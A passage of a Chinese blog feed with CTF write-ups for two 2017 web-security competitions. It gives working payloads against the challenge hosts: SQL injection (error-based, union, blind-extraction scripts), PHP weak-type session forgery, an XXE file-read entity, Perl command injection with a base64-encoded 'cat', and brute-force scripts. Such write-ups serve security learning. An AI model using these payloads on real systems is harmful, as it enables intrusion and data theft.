class="tag"></<span class="name">form</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure>
<h2 id="babysql"><a href="#babysql" class="headerlink" title="babysql"></a>babysql</h2><p>这道题到最后也没做出来,报错注入注,过滤了<code>union</code>和<code>column_name</code>还有<code>*</code>,不知道字段名是啥</p>
<p>参考了<a href="http://www.wupco.cn/?p=3764" target="_blank" rel="noopener">http://www.wupco.cn/?p=3764</a><br>从该文章中可以得知这道注入题的核心代码如下<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$sql = <span class="string">"desc `error_{$table}`"</span>;</span><br><span class="line">$res = mysql_query($sql);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>(mysql_fetch_array($res))){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<center>no table detail</center>"</span>;</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$sql = <span class="string">"select * from error_${table} where id = $id"</span>;</span><br></pre></td></tr></table></figure><br>可以看出通过<code>desc</code>语句判断table是否存在,再执行下一个sql语句<br>DESC的语法如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DESC tbl_name [col_name | wild]</span><br></pre></td></tr></table></figure><br>构造payload如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://114.55.36.69:20680/index.php?table=flag` `a%&id=3</span><br></pre></td></tr></table></figure><br>python脚本如下<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> r</span><br><span class="line">r1=r.session()</span><br><span class="line">s=<span class="string">"abcdefghijklmnopqrstuvwxyz1234567890_"</span></span><br><span class="line">flag=<span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">50</span>):</span><br><span class="line"> url=<span class="string">"http://114.55.36.69:20680/index.php?table=flag` `{0}%&id=3"</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> s:</span><br><span class="line"> url2=url.format(str(flag+j))</span><br><span class="line"> r2=r1.get(url2)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"SQL"</span> <span class="keyword">in</span> r2.text:</span><br><span class="line"> flag+=j</span><br><span class="line"> <span class="keyword">print</span> flag</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><br>得到<code>error_flag</code>表的字段名为<code>flag_you_will_never_know</code><br>再使用报错注入查询即可拿到flag<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://114.55.36.69:20680/index.php?table=news&id=3 -updatexml(1,concat('a=.',(select flag_you_will_never_know from error_flag)),1)#</span><br></pre></td></tr></table></figure></p>
<h2 id="服务发现"><a href="#服务发现" class="headerlink" title="服务发现"></a>服务发现</h2><p>nmap扫描后发现<code>rsync</code>开放<br>rsync空口令<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[root@<span class="built_in">test</span> ~]<span class="comment"># rsync 118.178.18.181::</span></span><br><span class="line"><span class="built_in">source</span> code </span><br><span class="line">[root@<span class="built_in">test</span> ~]<span class="comment"># rsync 118.178.18.181::source\ code/</span></span><br><span class="line">drwxr-xr-x 4096 2017/06/14 13:01:20 .</span><br><span class="line">-rw-r--r-- 44 2017/06/14 13:01:20 flag.php</span><br><span class="line">-rw-r--r-- 26 2017/06/14 13:01:20 index.php</span><br><span class="line">[root@<span class="built_in">test</span> ~]<span class="comment"># rsync -azv 118.178.18.181::source\ code/flag.php ~/flag.txt</span></span><br><span class="line">receiving incremental file list</span><br><span class="line"></span><br><span class="line">sent 19 bytes received 41 bytes 120.00 bytes/sec</span><br><span class="line">total size is 44 speedup is 0.73</span><br><span class="line">[root@<span class="built_in">test</span> ~]<span class="comment"># cat flag.txt</span></span><br><span class="line"><?php</span><br><span class="line"><span class="variable">$flag</span> = <span class="string">"flag{rsync_i5_very_useful!}"</span>;</span><br></pre></td></tr></table></figure></p>
<h2 id="findpwd"><a href="#findpwd" class="headerlink" title="findpwd"></a>findpwd</h2><p>题目提示了开发者用的ide是netbean,查看ide工作空间的文件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.178.18.181:20880/nbproject/private/private.xml</span><br></pre></td></tr></table></figure></p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">project-private</span> <span class="attr">xmlns</span>=<span class="string">"http://www.netbeans.org/ns/project-private/1"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">editor-bookmarks</span> <span class="attr">xmlns</span>=<span class="string">"http://www.netbeans.org/ns/editor-bookmarks/2"</span> <span class="attr">lastBookmarkId</span>=<span class="string">"0"</span>/></span></span><br><span class="line"><span class="tag"><<span class="name">open-files</span> <span class="attr">xmlns</span>=<span class="string">"http://www.netbeans.org/ns/projectui-open-files/2"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">group</span>></span></span><br><span class="line"><span class="tag"><<span class="name">file</span>></span>file:/var/www/html/fuckbean/index.php<span class="tag"></<span class="name">file</span>></span></span><br><span class="line"><span class="tag"><<span class="name">file</span>></span></span><br><span class="line">file:/var/www/html/fuckbean/f1ndmyp4ssw0rdnineverno.php</span><br><span class="line"><span class="tag"></<span class="name">file</span>></span></span><br><span class="line"><span class="tag"><<span class="name">file</span>></span>file:/var/www/html/fuckbean/1.sql<span class="tag"></<span class="name">file</span>></span></span><br><span class="line"><span class="tag"></<span class="name">group</span>></span></span><br><span class="line"><span class="tag"></<span class="name">open-files</span>></span></span><br><span class="line"><span class="tag"></<span class="name">project-private</span>></span></span><br></pre></td></tr></table></figure>
<p>可以看到<code>1.sql</code>和<code>f1ndmyp4ssw0rdnineverno.php</code>两个文件<br>f1ndmyp4ssw0rdnineverno.php是个输入邮箱找回密码的页面<br>下载<code>1.sql</code>,这里就可以猜测可能是注入<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">drop</span> <span class="keyword">database</span> <span class="keyword">if</span> <span class="keyword">exists</span> fuckbean;</span><br><span class="line"><span class="keyword">create</span> <span class="keyword">database</span> fuckbean;</span><br><span class="line"><span class="keyword">use</span> fuckbean;</span><br><span class="line"><span class="keyword">create</span> <span class="keyword">table</span> <span class="keyword">users</span>(</span><br><span class="line"><span class="keyword">id</span> <span class="built_in">int</span>(<span class="number">5</span>),</span><br><span class="line">username <span class="built_in">varchar</span>(<span class="number">20</span>),</span><br><span class="line"><span class="keyword">password</span> <span class="built_in">varchar</span>(<span class="number">32</span>),</span><br><span class="line">mail <span class="built_in">varchar</span>(<span class="number">50</span>)</span><br><span class="line">);</span><br><span class="line"><span class="keyword">insert</span> <span class="keyword">into</span> <span class="keyword">users</span> <span class="keyword">values</span>(<span class="number">1</span>,<span class="string">"admin"</span>,<span class="string">"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"</span>,<span class="string">"admin@admin.com"</span>);</span><br><span class="line"><span class="keyword">grant</span> <span class="keyword">all</span> <span class="keyword">privileges</span> <span class="keyword">on</span> fuckbean.* <span class="keyword">to</span> fuckbean@localhost <span class="keyword">identified</span> <span class="keyword">by</span> <span class="string">'fuckbean'</span>;</span><br></pre></td></tr></table></figure><br>构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a'union select 1,2,3,0xxxxxxx-- a@qq.com</span><br></pre></td></tr></table></figure><br>其中<code>0xxxxxxx</code>是你自己的邮箱的hex,提交后收到flag邮件</p>
<h2 id="babylogin"><a href="#babylogin" class="headerlink" title="babylogin"></a>babylogin</h2><p>题目给了源代码,关键语句如下<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">'_GET'</span>,<span class="string">'_POST'</span>,<span class="string">'_COOKIE'</span>) <span class="keyword">as</span> $key) {</span><br><span class="line"> <span class="keyword">foreach</span> ($$key <span class="keyword">as</span> $key2 => $value) {</span><br><span class="line"> $_GPC[$key2]=$value;</span><br><span class="line"> }</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">$session = json_decode(base64_decode($_GPC[<span class="string">'__session'</span>]), <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (is_array($session)){</span><br><span class="line"> $user = find_user_by_uid($session[<span class="string">'uid'</span>]);</span><br><span class="line"> <span class="keyword">if</span>(is_array($user) && $session[<span class="string">'hash'</span>] == $user[<span class="string">'password'</span>]){</span><br><span class="line"> $_SESSION[<span class="string">"login"</span>]=<span class="number">1</span>;</span><br><span class="line"> $_SESSION[<span class="string">"userin"</span>]=$userin;</span><br><span class="line"> header(<span class="string">"Location: admin.php"</span>);</span><br><span class="line"> <span class="keyword">exit</span>();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"用户名或密码错误"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>可以看出<code>session</code>可控,而且存在<code>==</code>弱类型,<code>True=="xxxxxxx"</code> 恒成立<br>用如下代码构造payload<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$session[<span class="string">'uid'</span>]=<span class="number">1</span>;</span><br><span class="line">$session[<span class="string">'hash'</span>]=<span class="keyword">True</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> base64_encode(json_encode($session));</span><br></pre></td></tr></table></figure><br>最后抓登陆的包,加一个参数<code>__session</code>值为<code>eyJ1aWQiOjEsImhhc2giOnRydWV9</code>就能跳转到<code>admin.php</code></p>
<h2 id="php的锅"><a href="#php的锅" class="headerlink" title="php的锅"></a>php的锅</h2><p>改天写好了</p>
<h1 id="秋季预赛"><a href="#秋季预赛" class="headerlink" title="秋季预赛"></a>秋季预赛</h1><h2 id="都是php就不好玩了呀"><a href="#都是php就不好玩了呀" class="headerlink" title="都是php就不好玩了呀"></a>都是php就不好玩了呀</h2><p>题目地址: <a href="http://118.178.18.181:57016/index.pl?file=test.txt" target="_blank" rel="noopener">http://118.178.18.181:57016/index.pl?file=test.txt</a><br>perl写的,直接读取<code>index.pl</code>就能拿到flag<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.178.18.181:57016/index.pl?file=index.pl</span><br></pre></td></tr></table></figure></p>
<h2 id="查询ip"><a href="#查询ip" class="headerlink" title="查询ip"></a>查询ip</h2><p>夏季预赛的题,直接nslookup<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\xxxxxx>nslookup 107.182.177.34</span><br><span class="line">服务器: UnKnown</span><br><span class="line">Address: 172.16.0.1</span><br><span class="line"></span><br><span class="line">名称: this-is-flag</span><br><span class="line">Address: 107.182.177.34</span><br></pre></td></tr></table></figure></p>
<h2 id="mac就是好用"><a href="#mac就是好用" class="headerlink" title="mac就是好用"></a>mac就是好用</h2><p>题目地址: <a href="http://118.178.18.181:57013/" target="_blank" rel="noopener">http://118.178.18.181:57013/</a><br>下载<code>http://118.178.18.181:57013/.DS_store</code>,cat一下,发现<code>s h o w m e f l a g . p h p</code>字样<br>访问<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.178.18.181:57013/showmeflag.php</span><br></pre></td></tr></table></figure><br>拿到flag</p>
<h2 id="人,才是最大的漏洞"><a href="#人,才是最大的漏洞" class="headerlink" title="人,才是最大的漏洞"></a>人,才是最大的漏洞</h2><p>题目地址: <a href="http://114.55.36.69:57012/" target="_blank" rel="noopener">http://114.55.36.69:57012/</a><br>经典登录框注入,构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">username=1'union select md5(1)#</span><br><span class="line">password=1</span><br></pre></td></tr></table></figure><br>拿到flag</p>
<h2 id="sqlmap没有卵用"><a href="#sqlmap没有卵用" class="headerlink" title="sqlmap没有卵用"></a>sqlmap没有卵用</h2><p>题目地址: <a href="http://118.178.18.181:57019/" target="_blank" rel="noopener">http://118.178.18.181:57019/</a><br>右键源代码提示<code>source.php</code>,union和from前面只能存在字母,不能有空格,构造<code>\N</code>绕过,(我也不知道为啥只有<code>\N</code>可以,小写n的不行)<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">\Nunion <span class="keyword">select</span> <span class="number">1</span>,flag, \Nfrom flag%<span class="number">23</span> </span><br><span class="line"> // \N表示回车,在Linux中表示一行的结束。</span><br></pre></td></tr></table></figure></p>
<h2 id="都是php就不好玩了呀-1"><a href="#都是php就不好玩了呀-1" class="headerlink" title="都是php就不好玩了呀"></a>都是php就不好玩了呀</h2><p>题目地址: <a href="http://118.178.18.181:57016/index.pl?file=test.txt" target="_blank" rel="noopener">http://118.178.18.181:57016/index.pl?file=test.txt</a><br>构造代码注入,这里要把含有flag的用base64编码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.178.18.181:57016/index.pl?file=test.txt| `echo Y2F0IC92YXIvd3d3L2h0bWwvZmxhZy5wbA==| base64 -d`|</span><br></pre></td></tr></table></figure></p>
<h2 id="can-u-read-me-do-u-understand-me"><a href="#can-u-read-me-do-u-understand-me" class="headerlink" title="can u read me,do u understand me?"></a>can u read me,do u understand me?</h2><p>题目地址: <a href="http://114.55.36.69:57018/" target="_blank" rel="noopener">http://114.55.36.69:57018/</a><br>XXE,直接读取flag.php,读取出来的源码是phpjiami过的,可以去花钱解也可以直接用工具解<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE xdsec[</span><br><span class="line"><!ELEMENT methodname ANY></span><br><span class="line"><!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]></span><br><span class="line"><user><name>&file;</name></user></span><br></pre></td></tr></table></figure></p>
<h2 id="还记得找回密码的功能嘛"><a href="#还记得找回密码的功能嘛" class="headerlink" title="还记得找回密码的功能嘛"></a>还记得找回密码的功能嘛</h2><p>题目地址: <a href="http://114.55.36.69:57014/" target="_blank" rel="noopener">http://114.55.36.69:57014/</a><br>给了源码<br>payload<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">'union select 1,2,3,4 -- yourqq@qq.com</span><br></pre></td></tr></table></figure><br>这里主要是利用了空格会被分割成多个收件人</p>
]]></content>
<summary type="html">
<p>其实就是慕测安恒杯<br>6月18日的夏季预赛线上赛,9月22日更新babysql,10月12日更新findpwd、服务发现、babylogin<br>10月23更新秋季预赛题目<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="文件包含" scheme="https://www.codemonster.cn/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
<category term="编辑器泄露" scheme="https://www.codemonster.cn/tags/%E7%BC%96%E8%BE%91%E5%99%A8%E6%B3%84%E9%9C%B2/"/>
</entry>
<entry>
<title>2017 世安杯线上预赛 WriteUp</title>
<link href="https://www.codemonster.cn/2017/10/10/2017-shianbei-ctf-writeup/"/>
<id>https://www.codemonster.cn/2017/10/10/2017-shianbei-ctf-writeup/</id>
<published>2017-10-10T06:41:39.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>emmmmmmmm,关于比赛质量问题,出门左转<a href="https://www.zhihu.com/question/66360616" target="_blank" rel="noopener">知乎</a>,出门右转<a href="https://ctfrank.org/events/39" target="_blank" rel="noopener">ctfrank</a><br>昨天竟然接到了决赛通知电话,考虑到各种问题,最后还是弃权了<br>以下是线上赛wp<br><a id="more"></a></p>
<h1 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h1><h2 id="ctf入门级题目"><a href="#ctf入门级题目" class="headerlink" title="ctf入门级题目"></a>ctf入门级题目</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-rao/</span><br></pre></td></tr></table></figure>
<p>题目给了源代码<code>index.phps</code><br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$flag = <span class="string">'*********'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span> ($_GET[<span class="string">'password'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (ereg (<span class="string">"^[a-zA-Z0-9]+$"</span>, $_GET[<span class="string">'password'</span>]) === <span class="keyword">FALSE</span>)</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<p class="alert">You password must be alphanumeric</p>'</span>;</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (strpos ($_GET[<span class="string">'password'</span>], <span class="string">'--'</span>) !== <span class="keyword">FALSE</span>)</span><br><span class="line"> <span class="keyword">die</span>($flag);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<p class="alert">Invalid password</p>'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><section class="login"></span><br><span class="line"> <div class="title"></span><br><span class="line"> <a href=<span class="string">"./index.phps"</span>>View Source</a></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <form method=<span class="string">"POST"</span>></span><br><span class="line"> <input type=<span class="string">"text"</span> required name=<span class="string">"password"</span> placeholder=<span class="string">"Password"</span> /><br/></span><br><span class="line"> <input type=<span class="string">"submit"</span>/></span><br><span class="line"> </form></span><br><span class="line"></section></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure></p>
<p>利用<code>%00</code>可以截断<code>ereg</code>,构造<code>?password=1%00—</code><br><code>flag{Maybe_using_rexpexp_wasnt_a_clever_move}</code></p>
<h2 id="曲奇"><a href="#曲奇" class="headerlink" title="曲奇"></a>曲奇</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==</span><br></pre></td></tr></table></figure>
<p>file参数后面是<code>base64编码</code>的<code>key.txt</code>,line是行数<br>编写py脚本读取<code>index.php</code>源码<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># by:xishir</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> r</span><br><span class="line"></span><br><span class="line">r1=r.session()</span><br><span class="line">url=<span class="string">'http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw'</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">50</span>):</span><br><span class="line"> r2=r1.get(url.format(str(i)))</span><br><span class="line"> <span class="keyword">print</span> r</span><br></pre></td></tr></table></figure><br>读取到的index.php如下<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">$file=base64_decode(<span class="keyword">isset</span>($_GET[<span class="string">'file'</span>])?$_GET[<span class="string">'file'</span>]:<span class="string">""</span>);</span><br><span class="line">$line=<span class="keyword">isset</span>($_GET[<span class="string">'line'</span>])?intval($_GET[<span class="string">'line'</span>]):<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($file==<span class="string">''</span>) header(<span class="string">"location:index.php?line=&file=a2V5LnR4dA=="</span>);</span><br><span class="line"></span><br><span class="line">$file_list = <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'0'</span> =><span class="string">'key.txt'</span>,</span><br><span class="line"><span class="string">'1'</span> =><span class="string">'index.php'</span>,</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_COOKIE[<span class="string">'key'</span>]) && $_COOKIE[<span class="string">'key'</span>]==<span class="string">'li_lr_480'</span>){</span><br><span class="line">$file_list[<span class="number">2</span>]=<span class="string">'thisis_flag.php'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(in_array($file, $file_list)){</span><br><span class="line">$fa = file($file);</span><br><span class="line"><span class="keyword">echo</span> $fa[$line];</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>可以看到当cookie中的<code>key</code>值为<code>li_lr_480</code>,即可读取<code>thisis_flag.php</code>文件<br><img src="/img/2017-sab-web2.png" alt=""><br><code>flag{UHGgd3rfH*(3HFhuiEIWF}</code></p>
<h2 id="类型"><a href="#类型" class="headerlink" title="类型"></a>类型</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-leixing/</span><br></pre></td></tr></table></figure>
<p>经典弱类型题,构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-leixing/?x1=0&x2={'x21':'2018a','x22':[[1],0]}&x3=XIPU-=3CS</span><br></pre></td></tr></table></figure><br>其中<code>XIPU-=3CS</code>md5加密后的8到16位以0e开头,其他全是数字<br>下面是跑md5脚本<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line">b=<span class="string">'-=[],./;"1234567890abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find</span><span class="params">(str1)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> hashlib.md5(str1).hexdigest()[<span class="number">8</span>:<span class="number">10</span>]==<span class="string">'0e'</span>:</span><br><span class="line"> flag=<span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> hashlib.md5(str1).hexdigest()[<span class="number">10</span>:<span class="number">24</span>]:</span><br><span class="line"> <span class="keyword">if</span> i><span class="string">'9'</span>:</span><br><span class="line"> flag=<span class="number">1</span>;</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> flag==<span class="number">0</span>:</span><br><span class="line"> <span class="keyword">print</span> str1</span><br><span class="line"> input(<span class="string">"success"</span>)</span><br><span class="line"> <span class="keyword">if</span>(len(str1)><span class="number">8</span>):</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> b:</span><br><span class="line"> find(str1+i)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> find(<span class="string">'XIPU'</span>)</span><br></pre></td></tr></table></figure><br><code>CTF{Php_1s_bstl4_1a}</code></p>
<h2 id="登录"><a href="#登录" class="headerlink" title="登录"></a>登录</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-s/</span><br></pre></td></tr></table></figure>
<p>提示密码<code>5位数字</code>,跑密码<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># by:xishir</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> r</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span 